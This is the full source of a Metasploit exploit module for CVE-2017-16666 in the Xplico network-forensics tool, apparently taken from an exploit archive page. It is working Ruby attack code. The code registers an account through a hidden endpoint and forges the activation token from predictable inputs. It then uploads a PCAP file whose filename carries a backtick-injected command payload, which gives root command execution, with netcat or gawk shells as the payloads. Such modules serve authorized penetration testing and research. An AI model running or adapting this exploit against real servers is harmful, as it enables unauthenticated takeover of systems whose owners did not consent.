Xplico Remote Code Execution

This Metasploit module exploits a command injection vulnerability in Xplico. Unauthenticated users can register a new account and then execute a terminal command under the context of the root user.


MD5 | f84cbd2f0e6585fce60f5fb1ebfaac2e

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Xplico Remote Code Execution',
'Description' => %q{
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
command under the context of the root user.

The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.

One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <[email protected]>' # author & msf module
],
'References' =>
[
['CVE', '2017-16666'],
['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
['URL', 'https://www.xplico.org/archives/1538']
],
'Privileged' => true,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'DefaultOptions' =>
{
'RPORT' => 9876
},
'Payload' =>
{
'Space' => 252,
'DisableNops' => true,
'BadChars' => "\x2f\x22",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
},
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Oct 29 2017',
'DefaultTarget' => 0
))

end

def check
# There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
# which is not something we want to do for only check..!
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
)
if res && res.code == 302
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Unknown
end
end

def initiate_session
print_status('Initiating new session on server side')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
)
if res && res.code == 200
res.get_cookies
else
nil
end

end

def register_user(username, password)
# First thing first, we need to get csrf token from registration form.
print_status('Registering a new user')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie
)

if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end

if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
end

# rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here.
email = ''
email << rand_text_alpha_lower(rand(10)+4)
email << '@'
email << rand_text_alpha_lower(rand(10)+4)
email << '.'
email << rand_text_alpha_lower(rand(1)+2)

# Create user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][email]' => email,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)

if res && res.code == 302
print_good('New user successfully registered')
print_status("Username: #{username}")
print_status("Password: #{password}")
else
fail_with(Failure::Unknown, 'Could not register new user')
end

# Awesome. We have user. We need to activate it manually..!
print_status('Calculating em_key code of the user')

unixtime = Time.parse(res.headers['Date']).to_i
password_md5 = Rex::Text.md5(password)
em_key = Rex::Text.md5(
"#{email}#{password_md5}#{unixtime}"
)
print_status("Activating user with em_key = #{em_key}")

# We need to follow redirections. Even if we managed to find em_key.
# It will redirect us to the login form. We need to see registration completed on final page.
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),
'cookie' => @cookie
)

if res && res.code == 200 && res.body.include?('Registration Completed.')
print_good('User successfully activated')
else
fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
end
end

def login(username, password)
# yet another csrf token gathering.
print_status('Authenticating with our activated new user')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie
)

if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end

if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
end

res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)

if res && res.body.include?('<a href="/pols">Cases</a>')
print_good('Successfully authenticated')
else
fail_with(Failure::Unknown, 'Unable to login.')
end

end

def create_new_case
# We logged in. Not we need to create a new xplico case.
print_status('Creating new case')
pol_name = rand_text_alpha_lower(rand(4)+8)
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Capture][Type]' => 0,
'data[Pol][name]' => pol_name,
'data[Pol][external_ref]' => '',
}
)

if res && res.body.include?('The Case has been created')
res.body.scan(/<a href="\/pols\/view\/([0-9]+)">/).flatten[0]
else
nil
end
end

def create_new_sol(pol_id)
# Since we xplico case, it's time to create a "session" for this case.
print_status('Creating new xplico session for pcap')

sol_name = rand_text_alpha_lower(rand(4)+8)
# sols/add endpoint reads selected case id through session.
# So we need to hit that end-point so we can insert pol_id into the current session data.
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id),
'cookie' => @cookie,
)

# Creating new session.
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Sol][name]' => sol_name,
}
)

if res && res.body.include?('The Session has been created')
res.body.scan(/<a href="\/sols\/view\/([0-9]+)">/).flatten[0]
else
nil
end

end

def upload_pcap(sol_id)
print_status('Uploading malformed PCAP file')
# We are hitting this end-point so we can access sol_id through session on server-side.
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)

# Reading malformed pcap files.
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap')
fd = ::File.open( path, 'rb')
pcap = fd.read(fd.stat.size)
fd.close

data = Rex::MIME::Message.new
data.add_part('POST', nil, nil, 'form-data; name="_method"')
data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"`#{payload.encoded})`\"") # Yes back-tick injection!

# Uploading PCAP file.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'),
'cookie' => @cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)

if res && res.code == 302
print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.')
end

# We can not wait all the day long to have session.
# So we are checking status of decoding process 5 times with sleep for a 1 second on each loop.
is_job_done = nil
counter = 0
until session_created? || !is_job_done.nil? || counter == 5
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)
if res && res.body.include?('File uploaded, wait start decoding...')
print_status('Parsing has started. Wait for parser to get the job done...')
end
if res && res.body.include?('DECODING')
print_good('We are at PCAP decoding phase. Little bit more patience...')
end
# Tbh decoding process is not going to be finished as long as we have msf session.
# We are not going to see this case if we are successful exploiting.
if res && res.body.include?('DECODING COMPLETED')
print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?')
is_job_done = 1
next
end
sleep(1)
counter += 1
end

end

def exploit

if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
end

# We need to access cookie from everywhere. Thus making it global variable.
@cookie = initiate_session
if @cookie.nil?
fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.')
end

# We only need to access username and password for login func. Let's leave them as a local variables.
password = rand_text_alpha(32)
username = rand_text_alpha_lower(rand(8)+8)
register_user(username, password)
login(username, password)

# We will need to have pol_id for creating new xplico session.
pol_id = create_new_case
if pol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Case.')
end
print_good("New Case successfully creted. Our pol_id = #{pol_id}")

# Create xplico session by using pol_id
sol_id = create_new_sol(pol_id)
if sol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Sol.')
end
print_good("New Sols successfully creted. Our sol_id = #{sol_id}")

# Uploading malformed PCAP file. We are exploiting authenticated cmd inj in here.
upload_pcap(sol_id)

end
end

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